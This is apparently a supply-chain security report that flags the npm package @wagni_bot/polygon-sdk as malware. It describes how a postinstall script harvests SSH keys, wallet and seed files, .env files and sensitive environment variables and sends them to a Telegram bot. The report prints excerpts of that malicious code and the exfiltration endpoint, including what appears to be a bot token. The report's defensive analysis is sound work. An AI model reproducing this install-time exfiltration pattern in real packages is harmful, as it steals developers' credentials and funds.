registry / Credential exfiltration / @wagni_bot/polygon-sdk
@wagni_bot/polygon-sdk
Unofficial polygon-sdk SDK
This report shows the evidence for @wagni_bot/polygon-sdk@1.0.0. 8 of 8 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 4mo ago · by lpm-firewall-aiDirect source inspection confirms unconsented install-time credential harvesting and exfiltration to a hardcoded Telegram bot. This is concrete malicious behavior unrelated to a Polygon SDK.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm install runs package.json postinstall script
Impact
Exposure of environment secrets, wallet/seed material, private keys, SSH configuration/keys, and host metadata
Mechanism
install-time credential and file exfiltration
Attack narrative
On installation, npm invokes postinstall.js. The script posts host metadata to a Telegram bot, scans the current project, the user's home directory, and ~/.ssh for credential-like files, chunks their contents, and sends them to the same Telegram endpoint. It also selects sensitive environment variables and exfiltrates their values.
AI rationale
Direct source inspection confirms unconsented install-time credential harvesting and exfiltration to a hardcoded Telegram bot. This is concrete malicious behavior unrelated to a Polygon SDK.
Evidence
package.jsonpostinstall.jsprocess.cwd() files matching .env/.cred/.pem/.key/mnemonic/seed/wallet/secretos.homedir() files matching .env/.cred/.pem/.key/mnemonic/seed/wallet/secret~/.ssh files matching id_rsa/id_ed25519/.pem/.key/config
Network endpoints1
api.telegram.org/bot8804087989:AAHUia-5DCloXsg9M9QhffTsHO5J_6FAxQM/sendMessage
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json defines postinstall: node postinstall.js, so code runs at npm install time.
- postinstall.js sends install host/user/cwd/platform details to Telegram via https.request.
- postinstall.js recursively reads cwd and home files matching .env, .cred, .pem, .key, mnemonic, seed, wallet, secret.
- postinstall.js reads ~/.ssh files matching id_rsa, id_ed25519, .pem, .key, config.
- postinstall.js filters process.env for PRIVATE/SECRET/TOKEN/API_KEY/PASSWORD/MNEMONIC/SEED/WALLET/AWS and sends values externally.
- No package-aligned SDK functionality is present in inspected package file list beyond index.js entrypoint.
Evidence against
- No destructive file writes or persistence mechanisms observed.
- No child_process, eval, vm, dynamic require, native binary, or staged payload loading observed.
Behavioral surface
EnvironmentVarsFilesystemNetwork
HighEntropyStringsUrlStrings
NoLicense
Source & flagged code
4 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node postinstall.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•scripts.postinstall = node postinstall.js
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkgpostinstall.jsView file
1#!/usr/bin/env node
L2: const https = require('https');
L3: const http = require('http');
...
L17: });
L18: req.write(payload);
L19: req.end();
...
L70: const data = {
L71: hostname: os.hostname(),
L72: user: os.userInfo().username,
...
L89: // Send sensitive env vars
L90: const sensitive = Object.entries(process.env).filter(([k]) =>
L91: k.includes('PRIVATE')||k.includes('SECRET')||k.includes('TOKEN')||k.includes('API_KEY')||k.includes('PASSWORD')||k.includes('MNEMONIC')||k.includes('SEED')||k.includes('WALLET')||k...
Critical
Credential Exfiltration
Source appears to send environment or credential material to an external endpoint.
postinstall.jsView on unpkg · L11Trigger-reachable chain: scripts.postinstall -> postinstall.js
L1: #!/usr/bin/env node
L2: const https = require('https');
L3: const http = require('http');
...
L17: });
L18: req.write(payload);
L19: req.end();
...
L70: const data = {
L71: hostname: os.hostname(),
L72: user: os.userInfo().username,
...
L89: // Send sensitive env vars
L90: const sensitive = Object.entries(process.env).filter(([k]) =>
L91: k.includes('PRIVATE')||k.includes('SECRET')||k.includes('TOKEN')||k.includes('API_KEY')||k.includes('PASSWORD')||k.includes('MNEMONIC')||k.includes('SEED')||k.includes('WALLET')||k...
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
postinstall.jsView on unpkg · L1Findings
2 Critical1 High4 Medium5 Low
CriticalCredential Exfiltrationpostinstall.js
CriticalTrigger Reachable Dangerous Capabilitypostinstall.js
HighInstall Time Lifecycle Scriptspackage.json
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
LowNo License
Affected versions and remediation
This report applies to @wagni_bot/polygon-sdk@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing @wagni_bot/polygon-sdk@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.
Versions
8 known versions1.0.0latestshownMaliciousCredential ExfiltrationBlockPublishedJul 9, 2026, 8:47 AM1.1.2MaliciousMalwareBlockPublishedUnknown1.2.0MaliciousMalwareBlockPublishedUnknown1.1.5MaliciousMalwareBlockPublishedUnknown1.1.4MaliciousMalwareBlockPublishedUnknown1.1.3MaliciousMalwareBlockPublishedUnknown1.1.1MaliciousMalwareBlockPublishedUnknown1.1.0MaliciousMalwareBlockPublishedUnknown